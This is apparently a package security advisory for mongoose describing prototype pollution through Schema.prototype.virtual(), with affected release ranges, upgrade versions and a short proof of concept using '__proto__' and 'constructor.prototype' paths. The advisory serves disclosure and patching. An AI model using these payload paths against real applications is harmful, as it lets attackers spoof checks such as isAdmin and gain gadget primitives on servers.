Packages / mongoose / Security

ModerateVulnerabilityGHSA-6972-9mcm-vhwjCVE-2026-125118Published 10 Nov 2026

Mongoose: Prototype pollution via Schema.prototype.virtual()

Your version

Affected releases · mongoose

  • 9.x9.0.0 – 9.11.3Fixed in 9.11.4
  • 8.x8.0.0 – 8.24.6Fixed in 8.24.7
  • 7.x7.0.0 – 7.8.12Fixed in 7.8.13
  • 6.x6.0.0 – 6.13.11Fixed in 6.13.12
  • 5.x and older0.0.1 – 5.13.23No fix, no longer updated

On 9.x, the newest line:

npm install mongoose@9.11.4
Every release on a timeline
9.x
  1. Affected

    9.0.0 – 9.11.3

    48 releases

  2. Fixed

    9.11.4 – 9.12.3

    5 releases

8.x
  1. Affected

    8.0.0 – 8.24.6

    108 releases

  2. Fixed

    8.24.7 – 8.24.10

    4 releases

7.x
  1. Affected

    7.0.0 – 7.8.12

    58 releases

  2. Fixed

    7.8.13 – 7.8.14

    2 releases

6.x
  1. Affected

    6.0.0 – 6.13.11

    121 releases

  2. Fixed

    6.13.12 – 6.13.13

    2 releases

5.x
  1. Affected

    5.0.0 – 5.13.23

    255 releases

4.x
  1. Affected

    4.0.0 – 4.13.21

    164 releases

3.x
  1. Affected

    3.0.0 – 3.9.7

    104 releases

2.x
  1. Affected

    2.0.0 – 2.9.10

    84 releases

1.x
  1. Affected

    1.0.0 – 1.8.4

    64 releases

0.x
  1. Affected

    0.0.1 – 0.0.6

    6 releases

1025 stable releases of mongoose, oldest to newest, one row per major.

What happens

Summary

Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.

Details

In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:

virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759

Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).

A path containing __proto__/constructor/prototype segments resolves through the prototype chain and writes onto Object.prototype / Function.prototype.

Proof of concept

const mongoose = require('mongoose');
const schema = new mongoose.Schema({});

schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true

schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true

schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted

Impact

Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).

A whole project to check? Paste its package.json in the dependency check: every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.